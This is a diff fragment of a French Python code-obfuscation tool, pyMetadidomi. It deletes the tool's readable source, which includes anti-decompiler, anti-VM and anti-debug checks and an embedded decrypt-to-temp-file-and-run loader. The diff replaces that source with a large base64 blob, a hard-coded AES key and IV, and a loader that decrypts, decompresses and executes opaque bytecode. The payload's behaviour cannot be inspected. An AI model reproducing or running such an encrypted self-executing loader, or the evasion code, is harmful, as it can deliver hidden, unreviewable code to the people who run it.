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")
+    key = base64.b64decode("QYQgQsUQjhrbjHKMMOBMJnLqkqXchIMCEbc66ufJI/M=")
+    iv = base64.b64decode("nMR7yBWllZkcALjf60SsCA==")
+    def unpad(data):
+        return data[:-data[-1]]
     cipher = AES.new(key, AES.MODE_CBC, iv)
-    encrypted = cipher.encrypt(pad(compressed))
-    b64 = base64.b64encode(encrypted).decode('ascii')
-    b64_key = base64.b64encode(key).decode('ascii')
-    b64_iv = base64.b64encode(iv).decode('ascii')
-    
-    # Générer le loader (natif si disponible, sinon fallback AES Python)
-    if pymloader_bin and pymloader_bin.exists():
-        loader = (
-            '# --- Loader natif par pyMetadidomi (pymloader) ---\n'
-            'import base64, zlib, marshal\n'
-            'from Crypto.Cipher import AES\n'
-            'try:\n'
-            '    import pymloader\n'
-            '    payload = base64.b64decode("{}")\n'
-            '    key = base64.b64decode("{}")\n'
-            '    iv = base64.b64decode("{}")\n'
-            '    def unpad(data):\n'
-            '        return data[:-data[-1]]\n'
-            '    cipher = AES.new(key, AES.MODE_CBC, iv)\n'
-            '    decrypted = unpad(cipher.decrypt(payload))\n'
-            '    bytecode = zlib.decompress(decrypted)\n'
-            '    pymloader.exec_bytecode(bytecode)\n'
-            'except ImportError:\n'
-            '    bytecode = zlib.decompress(decrypted)\n'
-            '    code = marshal.loads(bytecode)\n'
-            '    exec(code)\n'
-            '# --- Fin du loader natif ---\n'
-        ).format(b64, b64_key, b64_iv)
-    else:
-        # Fallback : loader AES Python pur (sans module natif)
-        loader = (
-            '# --- Loader AES Python par pyMetadidomi (fallback) ---\n'
-            'import base64, zlib, marshal\n'
-            'from Crypto.Cipher import AES\n'
-            f'payload = base64.b64decode("{b64}")\n'
-            f'key = base64.b64decode("{b64_key}")\n'
-            f'iv = base64.b64decode("{b64_iv}")\n'
-            'def unpad(data):\n'
-            '    return data[:-data[-1]]\n'
-            'cipher = AES.new(key, AES.MODE_CBC, iv)\n'
-            'decrypted = unpad(cipher.decrypt(payload))\n'
-            'bytecode = zlib.decompress(decrypted)\n'
-            'code = marshal.loads(bytecode)\n'
-            'exec(code)\n'
-            '# --- Fin du loader AES ---\n'
-        )
-    return loader
-
-def anti_decompile_protection(code):
-    """Protection contre les décompilateurs courants"""
-    
-    protection = """
-import sys
-
-# Protection contre les décompilateurs spécifiques
-def detect_decompiler():
-    # Modules dangereux connus (décompilateurs réels)
-    decompiler_modules = [
-        'uncompyle6', 'decompyle3', 'pycdc', 'pycdas', 'xdis'
-    ]
-    
-    for module in decompiler_modules:
-        if module in sys.modules:
-            return True
-    
-    # Vérification des noms de processus
-    try:
-        import psutil
-        decompiler_processes = ['uncompyle', 'decompyle', 'pycdc', 'xdis', 'decompiler']
-        for proc in psutil.process_iter(['name']):
-            if any(name in proc.info['name'].lower() for name in decompiler_processes):
-                return True
-    except:
-        pass
-    
-    return False
-
-if detect_decompiler():
-    try:
-        import tkinter as tk
-        from tkinter import messagebox
-        root = tk.Tk()
-        root.withdraw()
-        messagebox.showerror("Sécurité", "Décompilation détectée")
-        root.destroy()
-    except:
-        print("Décompilation détectée")
-    sys.exit(1)
-"""
-    return protection + code
-
-class Encryption:
-    # Classe pour chiffrer/déchiffrer le code avec AES
-
-    def __init__(self, key): 
-        self.bs = AES.block_size
-        self.key = hashlib.sha256(key).digest()
-
-    def encrypt(self, raw):
-        # Chiffre une ligne de code
-        try:
-            # S'assurer que raw est une string
-            if not isinstance(raw, str):
-                raw = str(raw)
-            
-            # Convertir en bytes d'abord, puis appliquer le padding
-            raw_bytes = raw.encode('utf-8')
-            raw_padded = self._pad_bytes(raw_bytes)
-            
-            # Générer IV et chiffrer
-            iv = Random.new().read(AES.block_size)
-            cipher = AES.new(self.key, AES.MODE_CBC, iv)
-            
-            # Chiffrer les données
-            encrypted_data = cipher.encrypt(raw_padded)
-            
-            # Retourner en base64
-            return base64.b64encode(iv + encrypted_data).decode('utf-8')
-        except Exception as e:
-            try:
-                import tkinter as tk
-                from tkinter import messagebox
-                root = tk.Tk()
-                root.withdraw()
-                messagebox.showerror("Erreur Chiffrement", f"Erreur lors du chiffrement: {e}\nLongueur: {len(raw)}")
-                root.destroy()
-            except:
-                print(f"Erreur lors du chiffrement: {e}")
-                print(f"Longueur des données: {len(raw)}")
-            return ""
-
-    def _pad_bytes(self, s):
-        # Ajoute du padding PKCS7 à des bytes
-        padding_length = self.bs - len(s) % self.bs
-        if padding_length == 0:
-            padding_length = self.bs
-        padding = bytes([padding_length]) * padding_length
-        return s + padding
-
-    def write(self, key, source):
-        # Écrit le code chiffré dans un format lisible avec décrypteur embarqué
-        wall = "__PYMETADIDOMI_ENCRYPTED__" * 25
-        newcode = f"{wall}{key}{wall}"
-        
-        # Vérifier que source est une string
-        if not isinstance(source, str):
-            source = str(source)
-            
-        for line in source.split("\n"):
-            encrypted_line = self.encrypt(line)
-            if encrypted_line:  # Vérifier que le chiffrement a réussi
-                newcode += encrypted_line + wall
-        
-        # Décrypteur embarqué (obfusqué et intégré)
-        decryptor = """
-import base64, hashlib, os, subprocess, tempfile, sys, re, json, datetime
-from Crypto.Cipher import AES
-
-class PyMetadidomi:
-    def __init__(self, key):
-        self.bs = AES.block_size
-        self.key = hashlib.sha256(key).digest()
-    
-    def decrypt(self, enc):
-        try:
-            enc = base64.b64decode(str(enc))
-            iv = enc[:AES.block_size]
-            cipher = AES.new(self.key, AES.MODE_CBC, iv)
-            decrypted = cipher.decrypt(enc[AES.block_size:])
-            return self._unpad(decrypted).decode('utf-8')
-        except:
-            return ""
-    
-    def remove_protections(self, src):
-        protections = [
-            r'import ctypes, sys\\s*if not ctypes\\.windll\\.shell32\\.IsUserAnAdmin.*?(?=\\ndef|\\nclass|\\n\\n|\\Z)',
-            r'def detect_vm\\(\\):.*?return any\\(vm_indicators\\)',
-            r'def detect_debugger\\(\\):.*?return False',
-            r'def detect_sandbox\\(\\):.*?return False',
-            r'def detect_decompiler\\(\\):.*?sys\\.exit\\(1\\)',
-            r'def execution_timeout\\(\\):.*?return decorator',
-        ]
-        for pattern in protections:
-            src = re.sub(pattern, '', src, flags=re.DOTALL | re.MULTILINE)
-        return src
-    
-    def remove_dead_code(self, src):
-        lines = src.split('\\n')
-        filtered_lines = []
-        for line in lines:
-            if not re.match(r'\\s*(def unused_func_|def dummy_calc_|temp_var_|unused_data_|complex_obj_|class FakeClass)', line):
-                filtered_lines.append(line)
-        return '\\n'.join(filtered_lines)
-    
-    @staticmethod
-    def _unpad(s):
-        try:
-            padding_length = s[-1]
-            if padding_length < 1 or padding_length > AES.block_size:
-                return s
-            if s[-padding_length:] != bytes([padding_length]) * padding_length:
-                return s
-            return s[:-padding_length]
-        except:
-            return s
-
-def _pymetadidomi_load():
-    try:
-        with open(__file__, "r", encoding='utf-8') as f:
-            obfcode = f.read()
-        
-        start_marker = "'''\\n"
-        end_marker = "\\n'''"
-        
-        if start_marker not in obfcode or end_marker not in obfcode:
-            return
-            
-        start_index = obfcode.find(start_marker) + len(start_marker)
-        end_index = obfcode.find(end_marker, start_index)
-        encrypted_content = obfcode[start_index:end_index]
-        
-        wall = "__PYMETADIDOMI_ENCRYPTED__" * 25
-        parts = [part for part in encrypted_content.split(wall) if part.strip()]
-        
-        if len(parts) < 2:
-            return
-            
-        key = parts[0].encode()
-        encrypted_parts = parts[1:]
-
-        pymetadidomi = PyMetadidomi(key)
-        src = ""
-        
-        for encrypted_part in encrypted_parts:
-            if encrypted_part.strip():
-                decrypted_line = pymetadidomi.decrypt(encrypted_part)
-                if decrypted_line:
-                    src += decrypted_line + "\\n"
-        
-        src = pymetadidomi.remove_protections(src)
-        src = pymetadidomi.remove_dead_code(src)
-        src = re.sub(r'import (uncompyle6|decompyle3|pycdc|pycdas|xdis|meta|psutil)\\n', '', src)
-        src = re.sub(r'from (uncompyle6|decompyle3|pycdc|pycdas|xdis|meta|psutil) import.*?\\n', '', src)
-        src = re.sub(r'\\n\\n+', '\\n\\n', src)
-        src = re.sub(r'encrypted_code = .*?\\n', '', src)
-        
-        tmp = tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.py', encoding='utf-8')
-        tmp.write(src)
-        tmp.flush()
-        tmp.close()
-        
-        p = subprocess.Popen([sys.executable, tmp.name])
-        p.wait()
-        os.unlink(tmp.name)
-        
-    except:
-        pass
-
-_pymetadidomi_load()
-"""
-        
-        code = f"{decryptor}\n'''\n{newcode}\n'''"
-        return code
-
-
-banner = f"""
-
-
-
-                         ____        ___  _      _            _ _     _                 _ 
-                        |  _ \ _   _|  \/  | ___| |_ __ _  __| (_) __| | ___  _ __ __ _(_)
-                        | |_) | | | | |\/| |/ _ \ __/ _` |/ _` | |/ _` |/ _ \| '_ ` _ \| |
-                        |  __/| |_| | |  | |  __/ || (_| | (_| | | (_| | (_) | | | | | | |
-                        |_|    \__, |_|  |_|\___|\__\__,_|\__,_|_|\__,_|\___/|_| |_| |_|_|
-                               |___/  Coder c'est bien; protéger c'est mieux !
-
-
-        {white(f"[>] Exécution avec Python {sys.version_info[0]}.{sys.version_info[1]}.{sys.version_info[2]}")}
-        
-"""
-
-def parse_cli_args():
-    """Parse les arguments CLI pour le mode batch"""
-    parser = argparse.ArgumentParser(
-        description="pyMetadidomi - Protection et obfuscation de code Python",
-        formatter_class=argparse.RawDescriptionHelpFormatter,
-        epilog="""
-Exemples d'utilisation:
-  python pyMetadidomi.py script.py                           # Mode interactif
-  python pyMetadidomi.py script.py --carbon                  # Obfuscation uniquement
-  python pyMetadidomi.py script.py --medium-protection       # Protection moyenne
-  python pyMetadidomi.py script.py --heavy-protection        # Protection maximale
-  python pyMetadidomi.py script.py --carbon --junk --bugs    # Protection personnalisée
-        """
-    )
-    
-    parser.add_argument('file', nargs='?', help='Fichier Python à protéger')
-    
-    # Options individuelles
-    parser.add_argument('--carbon', action='store_true', help='Obfuscation du code (renommage)')
-    parser.add_argument('--junk', action='store_true', help='Générer du code parasite')
-    parser.add_argument('--bugs', action='store_true', help='Anti-débogage')
-    parser.add_argument('--dead-code', action='store_true', help='Générer du code mort')
-    parser.add_argument('--dead-code-complexity', type=int, default=10, help='Complexité du code mort (1-10, défaut: 10)')
-    parser.add_argument('--time-prot', action='store_true', help='Protection temporelle')
-    parser.add_argument('--expiration', type=int, default=2026, help='Année d\'expiration (défaut: 2026)')
-    parser.add_argument('--anti-vm', action='store_true', help='Détection VM & Sandbox')
-    parser.add_argument('--anti-reverse', action='store_true', help='Anti-reverse engineering')
-    parser.add_argument('--anti-decompile', action='store_true', help='Anti-décompilation')
-    parser.add_argument('--multi-encrypt', action='store_true', help='Chiffrement multi-couches')
-    parser.add_argument('--encrypt', action='store_true', help='Chiffrement simple')
-    
-    # Presets
-    parser.add_argument('--light-protection', action='store_true', help='Protection légère (carbon + junk)')
-    parser.add_argument('--medium-protection', action='store_true', help='Protection moyenne (carbon + junk + bugs + dead-code)')
-    parser.add_argument('--heavy-protection', action='store_true', help='Protection lourde (toutes les protections)')
-    
-    parser.add_argument('--output', '-o', help='Fichier de sortie (défaut: script-obf.py)')
-    parser.add_argument('--compile', action='store_true', help='Compiler en EXE après obfuscation')
-    
-    return parser.parse_args()
-
-def process_file_cli(args):
-    """Traite un fichier en mode CLI"""
-    file = args.file
-    
-    if not os.path.exists(file):
-        print(red(f"        [!] Erreur : Le fichier '{file}' n'existe pas"))
-        sys.exit(1)
-    
-    # Déterminer les protections à appliquer
-    carbonate = args.carbon
-    junk = args.junk
-    bug = args.bugs
-    dead_code = args.dead_code
-    anti_vm = args.anti_vm
-    anti_reverse = args.anti_reverse
-    anti_decompile = args.anti_decompile
-    multi_encrypt = args.multi_encrypt
-    encrypt = args.encrypt
-    time_prot = args.time_prot
-    expiration_year = args.expiration
-    dead_code_complexity = args.dead_code_complexity
-    compile_exe = args.compile
-    
-    # Gérer les presets
-    if args.light_protection:
-        carbonate = True
-        junk = True
-    
-    if args.medium_protection:
-        carbonate = True
-        junk = True
-        bug = True
-        dead_code = True
-    
-    if args.heavy_protection:
-        carbonate = True
-        junk = True
-        bug = True
-        dead_code = True
-        time_prot = True
-        anti_vm = True
-        anti_reverse = True
-        anti_decompile = True
-        multi_encrypt = True
-    
-    print(blue_royal(banner), end="")
-    print(blue(f"\n        [>] Traitement du fichier: {file}"))
-    
-    # Charger le code source
-    with open(file, "r", encoding='utf-8') as f:
-        src = f.read()
-    
-    key = base64.b64encode(os.urandom(32)).decode()
-    
-    # Appliquer les protections dans l'ordre
-    if junk:
-        print("        [>] Ajout de code parasite...")
-        src = anubis(src)
-    
-    if bug:
-        print("        [>] Ajout d'anti-débogage...")
-        src = bugs(src)
-    
-    if dead_code:
-        print("        [>] Génération de code mort...")
-        src = generate_dead_code(dead_code_complexity) + src
-    
-    if time_prot:
-        print(f"        [>] Protection temporelle (expiration: {expiration_year})...")
-        src = time_protection(src, expiration_year=expiration_year)
-    
-    if anti_vm or anti_reverse:
-        print("        [>] Ajout d'anti-VM et anti-reverse...")
-        src = advanced_anti_analysis(src)
-    
-    if anti_decompile:
-        print("        [>] Protection anti-décompilation...")
-        src = anti_decompile_protection(src)
-    
-    if multi_encrypt:
-        print("        [>] Chiffrement multi-couches...")
-        encryption = MultiLayerEncryption([key, key[:16], key[:8]])
-        src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
-    
-    if carbonate:
-        print("        [>] Obfuscation du code...")
-        src, renamed_count = carbon(src)
-    
-    if encrypt:
-        print("        [>] Minification irréversible...")
-        src = minify_irreversible(src)
-    
-    # Déterminer le dossier temporaire à la racine du projet utilisateur
-    import os
-    # On suppose que le projet utilisateur est la racine du workspace
-    project_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..'))
-    temp_dir = os.path.join(project_root, "temp_protected")
-    os.makedirs(temp_dir, exist_ok=True)
-    output_file = os.path.join(temp_dir, os.path.basename(file))
-    # Si l'utilisateur a précisé --output, on l'utilise dans le dossier temporaire
-    if args.output:
-        output_file = os.path.join(temp_dir, os.path.basename(args.output))
-    # Écrire le fichier obfusqué dans le dossier temporaire
-    with open(output_file, "w", encoding='utf-8') as f:
-        f.write(src)
-    
-    print(blue(f"\n        [>] Code obfusqué avec succès → {output_file}\n"))
-    
-    # Compilation optionnelle
-    if compile_exe and not encrypt:
-        compile = True
-        print("        [>] Compilation en EXE...")
-        # Appeler le packaging complet build.py
-        build_py_path = os.path.join(os.path.dirname(__file__), '..', 'builder.py')
-        basic_params = [sys.executable, build_py_path, "--app-src", os.path.dirname(output_file), "--output", output_file[:-3] + '.exe', "--app-name", os.path.basename(output_file)[:-3]]
-        p = subprocess.Popen(basic_params, shell=True, cwd=os.getcwd())
-        print(red("        [!] La compilation en exe peut prendre un certain temps...\n"))
-        p.wait()
-        exe_name = output_file[:-3] + '.exe'
-        print(blue(f"\n        [>] Code compilé avec succès → {exe_name}"))
-    
-    print(blue("        [>] Terminé!"))
-
-def main_interactive():
-    """Mode interactif classique"""
-    clear()
-    print(blue_royal(banner), end="")
-    while True:
-        file = input(purple("        [>] Entrez le fichier python à obfusquer [script.py] : ") + "\033[38;2;148;0;230m")
-        if not os.path.exists(file):
-            print(red("        [!] Erreur : Ce fichier n'existe pas"), end="")
-        else:
-            break
-
-    carbonate = False
-    junk = False
-    bug = False
-    anti_vm = False
-    anti_reverse = False
-    dead_code = False
-    time_prot = False
-    multi_encrypt = False
-    anti_decompile = False
-
-    while True:
-        ans = input(purple("        [>] Anti-débogage [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            bug = True
-            break
-        elif ans == "n":
-            bug = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-    
-    while True:
-        ans = input(purple("        [>] Code inutile [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            junk = True
-            break
-        elif ans == "n":
-            junk = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-    
-    while True:
-        ans = input(purple("        [>] Détection de VM & Sandbox [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            anti_vm = True
-            break
-        elif ans == "n":
-            anti_vm = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Protection anti-reverse engineering [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            anti_reverse = True
-            break
-        elif ans == "n":
-            anti_reverse = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Code mort [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            dead_code = True
-            break
-        elif ans == "n":
-            dead_code = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    expiration_year = 2025
-    while True:
-        ans = input(purple("        [>] Protection basée sur le temps [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            time_prot = True
-            # Demander la date d'expiration
-            while True:
-                try:
-                    expiration_year = int(input(purple("        [>] Année d'expiration (ex: 2026) : ") + "\033[38;2;148;0;230m"))
-                    if expiration_year > 2025:
-                        break
-                    else:
-                        print(red("        [!] Erreur : L'année doit être supérieure à 2025"), end="")
-                except ValueError:
-                    print(red("        [!] Erreur : Veuillez entrer un nombre entier"), end="")
-            break
-        elif ans == "n":
-            time_prot = False
-            expiration_year = 2025
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Chiffrement multi-couches [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            multi_encrypt = True
-            break
-        elif ans == "n":
-            multi_encrypt = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Protection anti-décompilation [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            anti_decompile = True
-            break
-        elif ans == "n":
-            anti_decompile = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Renommer Classe, Fonctions, Variables & Paramètres [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            carbonate = True
-            break
-        elif ans == "n":
-            carbonate = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-
-    encrypt = False
-    loader_integrated = False
-    while True:
-        ans = input(purple("        [>] Minification irréversible [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            encrypt = True
-            break
-        elif ans == "n":
-            encrypt = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Intégrer le loader dans le code [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            loader_integrated = True
-            break
-        elif ans == "n":
-            loader_integrated = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    print(" ")
-    key = base64.b64encode(os.urandom(32)).decode()
-    with open(file, "r", encoding='utf-8') as f:
-        src = f.read()
-
-    # Appliquer les protections dans le même ordre que le mode CLI
-    if junk:
-        print("        [>] Ajout de code parasite...")
-        src = anubis(src)
-    if bug:
-        print("        [>] Ajout d'anti-débogage...")
-        src = bugs(src)
-    if dead_code:
-        print("        [>] Génération de code mort...")
-        src = generate_dead_code(15) + src
-    if time_prot:
-        print(f"        [>] Protection temporelle (expiration: {expiration_year})...")
-        src = time_protection(src, expiration_year=expiration_year)
-    if anti_vm or anti_reverse:
-        print("        [>] Ajout d'anti-VM et anti-reverse...")
-        src = advanced_anti_analysis(src)
-    if anti_decompile:
-        print("        [>] Protection anti-décompilation...")
-        src = anti_decompile_protection(src)
-    if multi_encrypt:
-        print("        [>] Chiffrement multi-couches...")
-        encryption = MultiLayerEncryption([key, key[:16], key[:8]])
-        src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
-    if carbonate:
-        print("        [>] Obfuscation du code...")
-        src, renamed_count = carbon(src)
-    if encrypt:
-        print("        [>] Minification irréversible...")
-        src = minify_irreversible(src)
-    if loader_integrated:
-        print("        [>] Intégration du loader dans le code...")
-        src = protect_with_loader(src)
-
-    name = f"{file[:-3]}-obf.py"
-    with open(name, "w", encoding='utf-8') as f:
-        f.write(src)
-
-    print(blue(f"\n        [>] Code a été obfusqué avec succès @ {name}"), end="")
-    
-    # Copier pymloader.pyd si loader_integrated et le fichier existe
-    if loader_integrated:
-        import pathlib
-        import shutil
-        loader_dir = pathlib.Path(__file__).parent
-        pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
-        pymloader_bin = loader_dir / pymloader_ext
-        if pymloader_bin.exists():
-            output_dir = os.path.dirname(name) or '.'
-            dest_pymloader = os.path.join(output_dir, pymloader_ext)
-            shutil.copy2(str(pymloader_bin), dest_pymloader)
-            print(blue(f", avec {pymloader_ext} dans le même dossier"), end="")
-
-    if encrypt == False:
-        compile = False
-        while True:
-            ans = input(purple("        [>] Voulez-vous compiler en exe [o/n] : ") + "\033[38;2;148;0;230m").lower()
-            if ans == "o":
-                compile = True
-                break
-            elif ans == "n":
-                compile = False
-                break
-            else:
-                print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-        if compile == True:
-            print("        [>] Compilation en EXE...")
-            # Appeler le packaging complet build.py 
-            build_py_path = os.path.join(os.path.dirname(__file__), '..', 'builder.py')
-            basic_params = [sys.executable, build_py_path, "--app-src", os.path.dirname(name), "--output", name[:-3] + '.exe', "--app-name", os.path.basename(name)[:-3]]
-            p = subprocess.Popen(basic_params, shell=True, cwd=os.getcwd())
-            print(red("\n        [!] La compilation en exe peut prendre un certain temps\n        [!] Information du Builder:\n\n"), end="")
-            p.wait()
-            print(blue(f"\n        [>] Code compilé avec succès @ {name[:-3] + '.exe'}"), end="")
-
-    print(blue("\n        [>] Appuyez sur n'importe quelle touche pour quitter... "), end="")
-    pause(); clear(); leave()
-
-# Point d'entrée principal
-if __name__ == "__main__":
-    # Vérifier si des arguments CLI sont fournis
-    if len(sys.argv) > 1:
-        # Mode CLI
-        args = parse_cli_args()
-        if args.file:
-            try:
-                process_file_cli(args)
-            except Exception as e:
-                print(red(f"        [!] Erreur lors du traitement : {e}"))
-                sys.exit(1)
-        else:
-            print(red("        [!] Aucun fichier spécifié"))
-            sys.exit(1)
-    else:
-        # Mode interactif (comportement par défaut)
-        main_interactive()
+    decrypted = unpad(cipher.decrypt(payload))
+    bytecode = zlib.decompress(decrypted)
+    pymloader.exec_bytecode(bytecode)
+except ImportError:
+    bytecode = zlib.decompress(decrypted)
+    code = marshal.loads(bytecode)
+    exec(code)
+# --- Fin du loader natif ---